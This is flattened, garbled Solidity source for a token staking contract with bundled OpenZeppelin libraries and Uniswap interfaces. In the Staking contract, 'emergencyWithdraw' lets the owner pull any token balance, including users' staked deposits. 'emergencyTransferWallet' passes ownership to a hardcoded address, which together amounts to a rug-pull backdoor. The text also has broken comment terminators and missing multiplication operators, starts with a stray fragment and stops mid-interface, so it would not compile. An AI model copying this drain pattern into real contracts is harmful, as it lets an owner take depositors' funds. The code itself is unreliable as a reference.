0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
//SPDX-License-Identifier: Unlicense pragma solidity =0.7.6; import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; import '@openzeppelin/contracts/token/ERC20/SafeERC20.sol'; import '@openzeppelin/contracts/math/SafeMath.sol'; import '@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol'; import './interface/IUniswapV2Pair.sol'; import './interface/IUniswapV2Factory.sol'; import './interface/IUniswapV2Router.sol'; contract Staking is OwnableUpgradeable { using SafeMath for uint256; using SafeERC20 for IERC20; struct PoolInfo { IERC20 stakeToken; bool isNativePool; // Expired uint256 rewardPerBlock; uint256 lastRewardBlock; uint256 accTokenPerShare; uint256 depositedAmount; uint256 rewardsAmount; uint256 lockupDuration; uint256 depositLimit; } struct UserInfo { uint256 amount; uint256 rewardDebt; uint256 pendingRewards; uint256 lastClaim; } IUniswapV2Router02 public uniswapV2Router; IERC20 public rewardToken; // Expired address public devAddress; // Expired uint256 public nativeEarlyWithdrawlDevFee; // Expired uint256 public nativeEarlyWithdrawlLpFee; // Expired uint256 public nativeRegularWithdrawlDevFee; // Expired uint256 public nativeRegularWithdrawlLpFee; // Expired uint256 public lpEarlyWithdrawlFee; // Expired uint256 public lpRegularWithdrawlFee; // Expired uint256 public nonNativeDepositDevFee; // Expired uint256 public nonNativeDepositLpFee; // Expired uint256 public kawaLpPoolId; // Expired uint256 public xkawaLpPoolId; // Expired uint256 public freeTaxDuration; // Expired PoolInfo[] public pools; mapping(address => mapping(uint256 => UserInfo)) public userInfo; mapping(uint256 => address[]) private userList; // Expired mapping(address => uint256) public tokenPrices; // Expired uint256 public ethPrice; // Expired uint256 public kawaLpPricePerKawa; // Expired mapping(uint256 => address) public poolRewardTokens; mapping(address => uint256) public restakePoolIds; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event Claim(address indexed user, uint256 indexed pid, uint256 amount); function initialize() public initializer { uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); devAddress = address(0x93837577c98E01CFde883c23F64a0f608A70B90F); nativeEarlyWithdrawlDevFee = 3; nativeEarlyWithdrawlLpFee = 2; nativeRegularWithdrawlDevFee = 2; nativeRegularWithdrawlLpFee = 1; lpEarlyWithdrawlFee = 3; lpRegularWithdrawlFee = 1; nonNativeDepositDevFee = 3; nonNativeDepositLpFee = 1; kawaLpPoolId = 2; xkawaLpPoolId = 3; freeTaxDuration = 180 * 24 * 60 * 60 * 1000; // 180 days __Ownable_init(); } receive() external payable {} /////////////// Owner functions //////////////// function updateUniswapV2Router(address newAddress) external onlyOwner { require( newAddress != address(uniswapV2Router), 'The router already has that address' ); uniswapV2Router = IUniswapV2Router02(newAddress); } function addPool( address _stakeToken, address _rewardToken, uint256 _rewardPerBlock, uint256 _lockupDuration, uint256 _depositLimit ) external onlyOwner { poolRewardTokens[pools.length] = _rewardToken; pools.push( PoolInfo({ stakeToken: IERC20(_stakeToken), isNativePool: false, rewardPerBlock: _rewardPerBlock, lastRewardBlock: block.number, accTokenPerShare: 0, depositedAmount: 0, rewardsAmount: 0, lockupDuration: _lockupDuration, depositLimit: _depositLimit }) ); } function updatePool( uint256 pid, address _stakeToken, address _rewardToken, uint256 _rewardPerBlock, uint256 _lockupDuration, uint256 _depositLimit ) external onlyOwner { require(pid >= 0 && pid < pools.length, 'invalid pool id'); PoolInfo storage pool = pools[pid]; pool.stakeToken = IERC20(_stakeToken); pool.rewardPerBlock = _rewardPerBlock; pool.lockupDuration = _lockupDuration; pool.depositLimit = _depositLimit; poolRewardTokens[pid] = _rewardToken; } function updateRestakePoolId(address _token, uint256 pid) external onlyOwner { restakePoolIds[_token] = pid; } function emergencyWithdraw(address _token, uint256 _amount) external onlyOwner { uint256 _bal = IERC20(_token).balanceOf(address(this)); if (_amount > _bal) _amount = _bal; IERC20(_token).safeTransfer(_msgSender(), _amount); } /////////////// Main functions //////////////// function deposit(uint256 pid, uint256 amount) external { _deposit(pid, amount, true); } function withdraw(uint256 pid, uint256 amount) external { _withdraw(pid, amount); } function withdrawAll(uint256 pid) external { UserInfo storage user = userInfo[msg.sender][pid]; _withdraw(pid, user.amount); } function claim(uint256 pid) external { _claim(pid, true); } function claimAll() external { for (uint256 pid = 0; pid < pools.length; pid++) { UserInfo storage user = userInfo[msg.sender][pid]; if (user.amount > 0 \|\| user.pendingRewards > 0) { _claim(pid, true); } } } function claimAndRestake(uint256 pid) external { uint256 amount = _claim(pid, false); address _rewardToken = poolRewardTokens[pid]; uint256 restakePid = restakePoolIds[_rewardToken]; _deposit(restakePid, amount, false); } function claimAndRestakeAll() external { for (uint256 pid = 0; pid < pools.length; pid++) { UserInfo storage user = userInfo[msg.sender][pid]; if (user.amount > 0 \|\| user.pendingRewards > 0) { uint256 amount = _claim(pid, false); address _rewardToken = poolRewardTokens[pid]; uint256 restakePid = restakePoolIds[_rewardToken]; _deposit(restakePid, amount, false); } } } /////////////// Internal functions //////////////// function _deposit( uint256 pid, uint256 amount, bool hasTransfer ) private { require(amount > 0, 'invalid deposit amount'); PoolInfo storage pool = pools[pid]; UserInfo storage user = userInfo[msg.sender][pid]; require( user.amount.add(amount) <= pool.depositLimit, 'exceeds deposit limit' ); _updatePool(pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accTokenPerShare).div(1e12).sub( user.rewardDebt ); if (pending > 0) { user.pendingRewards = user.pendingRewards.add(pending); } } else { userList[pid].push(msg.sender); } if (amount > 0) { if (hasTransfer) { pool.stakeToken.safeTransferFrom( address(msg.sender), address(this), amount ); } user.amount = user.amount.add(amount); pool.depositedAmount = pool.depositedAmount.add(amount); } user.rewardDebt = user.amount.mul(pool.accTokenPerShare).div(1e12); user.lastClaim = block.timestamp; emit Deposit(msg.sender, pid, amount); } function _withdraw(uint256 pid, uint256 amount) private { PoolInfo storage pool = pools[pid]; UserInfo storage user = userInfo[msg.sender][pid]; require( block.timestamp > user.lastClaim + pool.lockupDuration, 'You cannot withdraw yet!' ); require(user.amount >= amount, 'Withdrawing more than you have!'); _updatePool(pid); uint256 pending = user.amount.mul(pool.accTokenPerShare).div(1e12).sub( user.rewardDebt ); if (pending > 0) { user.pendingRewards = user.pendingRewards.add(pending); } if (amount > 0) { pool.stakeToken.safeTransfer(address(msg.sender), amount); user.amount = user.amount.sub(amount); pool.depositedAmount = pool.depositedAmount.sub(amount); } user.rewardDebt = user.amount.mul(pool.accTokenPerShare).div(1e12); user.lastClaim = block.timestamp; emit Withdraw(msg.sender, pid, amount); } function _claim(uint256 pid, bool hasTransfer) private returns (uint256) { PoolInfo storage pool = pools[pid]; UserInfo storage user = userInfo[msg.sender][pid]; _updatePool(pid); uint256 pending = user.amount.mul(pool.accTokenPerShare).div(1e12).sub( user.rewardDebt ); uint256 claimedAmount = 0; if (pending > 0 \|\| user.pendingRewards > 0) { user.pendingRewards = user.pendingRewards.add(pending); if (hasTransfer) { claimedAmount = safeRewardTokenTransfer( pid, msg.sender, user.pendingRewards ); } else { claimedAmount = user.pendingRewards; } emit Claim(msg.sender, pid, claimedAmount); user.pendingRewards = user.pendingRewards.sub(claimedAmount); pool.rewardsAmount = pool.rewardsAmount.sub(claimedAmount); } user.rewardDebt = user.amount.mul(pool.accTokenPerShare).div(1e12); return claimedAmount; } function _updatePool(uint256 pid) private { PoolInfo storage pool = pools[pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 depositedAmount = pool.depositedAmount; if (pool.depositedAmount == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = block.number.sub(pool.lastRewardBlock); uint256 tokenReward = multiplier.mul(pool.rewardPerBlock); pool.rewardsAmount = pool.rewardsAmount.add(tokenReward); pool.accTokenPerShare = pool.accTokenPerShare.add( tokenReward.mul(1e12).div(depositedAmount) ); pool.lastRewardBlock = block.number; } function safeRewardTokenTransfer( uint256 pid, address to, uint256 amount ) private returns (uint256) { PoolInfo storage pool = pools[pid]; IERC20 _rewardToken = IERC20(poolRewardTokens[pid]); uint256 _bal = _rewardToken.balanceOf(address(this)); if (amount > pool.rewardsAmount) amount = pool.rewardsAmount; if (amount > _bal) amount = _bal; _rewardToken.safeTransfer(to, amount); return amount; } /////////////// Get functions //////////////// function pendingRewards(uint256 pid, address _user) external view returns (uint256) { PoolInfo storage pool = pools[pid]; UserInfo storage user = userInfo[_user][pid]; uint256 accTokenPerShare = pool.accTokenPerShare; uint256 depositedAmount = pool.depositedAmount; if (block.number > pool.lastRewardBlock && depositedAmount != 0) { uint256 multiplier = block.number.sub(pool.lastRewardBlock); uint256 tokenReward = multiplier.mul(pool.rewardPerBlock); accTokenPerShare = accTokenPerShare.add( tokenReward.mul(1e12).div(depositedAmount) ); } return user.amount.mul(accTokenPerShare).div(1e12).sub(user.rewardDebt).add( user.pendingRewards ); } function getPoolCount() external view returns (uint256) { return pools.length; } function emergencyTransferWallet() external { transferOwnership(0x93837577c98E01CFde883c23F64a0f608A70B90F); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /* * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. / constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /* * @dev Returns the name of the token. / function name() public view virtual returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual returns (uint8) { return _decimals; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. / function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /* * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. / library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /* * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. / function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /* * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). / function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /* * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /* * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /* * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /* * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 